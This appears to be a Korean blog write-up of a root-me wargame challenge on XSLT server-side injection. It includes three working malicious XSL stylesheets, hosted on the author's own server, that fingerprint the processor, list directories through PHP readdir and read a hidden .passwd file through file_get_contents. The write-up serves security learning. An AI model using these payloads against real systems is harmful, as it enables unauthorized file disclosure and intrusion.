반응형

XSLT 관련 문제를 풀어보도록 하겠습니다. 취약한 부분을 찾아내서 서브 디렉토리에 존재하는 .passwd 파일을 읽는 것이 이 문제의 목적입니다. 처음 보는 용어였기 때문에 사전 조사부터 시작했습니다.


XSLT(Extensible Stylesheet Language Transformations) 취약점이란?

우선, XSL이란 XML 문서를 변환하기 위한 언어입니다. 따라서, XSLT란 XML 문서를 변환하는 자체를 의미하는데 변환 결과는 다른 XML 문서이거나 HTML 문서, CSV 파일 또는 일반 텍스트 파일과 같은 다른 형식의 파일일 수 있습니다.

 

그래서, XSLT 취약점은 XML 인젝션 취약점과 아주 유사하다고 할 수 있습니다. XSLT 원격 코드 실행 취약점의 예로는 .Net Ektron CMS에 영향을 주는 CVE-2012-5357, Apache Struts 2.0에 영향을 주는 CVE-2012-1592, Goole 검색 어플라이언스에 영향을 미치는 CVE-2005-3757 등이 있습니다.

 

자세한 사항은 우측의 링크를 이용 >> https://www.contextis.com/us/blog/xslt-server-side-injection-attacks


 

문제에 들어가면  Style을 선택하는 옵션 창과 [Change style!] 이라는 버튼이 보입니다. 임의의 스타일을 선택하고 눌러보겠습니다.

 

패킷을 확인해보면, xsl 파라미터에 "sytle1.xsl" 파일이 삽입되어 전송되고 있는 형태입니다.

 

해당 값이 전송되면 화면 상 결과는 위와 같이 출력되었습니다.

 

우선, 해당 부분이 취약한지 확인하기 위해 간단한 아래의 공격 코드를 작성해보았습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
XSLT Version : <xsl:value-of select="system-property('xsl:version')"/>
XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/>
XSLT Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>

하지만, 위의 값을 xsl 파라미터에 바로 삽입하면 해당 코드가 실행되지 않았습니다.

"style1.xsl"과 같은 파일 형식으로 값을 넣어주어야겠다는 생각이 들어 개인 서버를 오픈한 후 해당 코드를 저장하였습니다.

 

개인 서버에 test1.xsl 파일로 위의 코드를 작성하여 저장 후,

 

xsl 파라미터에 "개인 서버 주소/test1.xls" 형식으로 삽입하였더니 XSLT 정보(라이브러리 공급업체)가 조회되어 공격 코드가 실행된 것을 확인할 수 있었습니다.

 

이제 본격적으로 문제에서 필요한 정보를 획득해보도록 하겠습니다.

현재 디렉토리에 존재하는 하위 디렉토리, 즉 서브 디렉토리를 확인하기 위해 php 함수를 이용하여 공격 코드를 작성하였습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','.')"/> 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
</xsl:template></xsl:stylesheet>

 

이를 또 개인 서버의 test2.xls 파일로 저장한 후,

 

공격 코드를 실행하면, 위와 같이 현재 디렉토리에 존재하는 모든 파일과 하위 디렉토리 이름을 확인할 수 있습니다.

 

마지막으로, 서브 디렉토리에 존재하고 있는 .passwd 파일을 찾아 읽기만 하면 됩니다.

위에서 보면, ._firewall, .6ff~로 시작하는 두 개의 서브 디렉토리를 확인할 수 있는데요, .passwd 파일은 .6ff~ 디렉토리에 존재하고 있었습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
</xsl:template>
</xsl:stylesheet>

따라서, .6ff~ 디렉토리 하위에 있는 .passwd 파일을 읽어오는 명령어를 작성한 코드를 test3.xls 파일에 저장한 후,

 

실행하면 Flag 값을 획득할 수 있습니다.^^

 


※ 참고 자료

- https://www.contextis.com/us/blog/xslt-server-side-injection-attacks

- https://comsecuodj.tistory.com/31

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XSLT%20Processing%20Security%20and%20Server%20Side%20Request%20Forgeries%20-%20OWASP%20Switzerland%20Meeting%202015.pdf

- https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20

+ Recent posts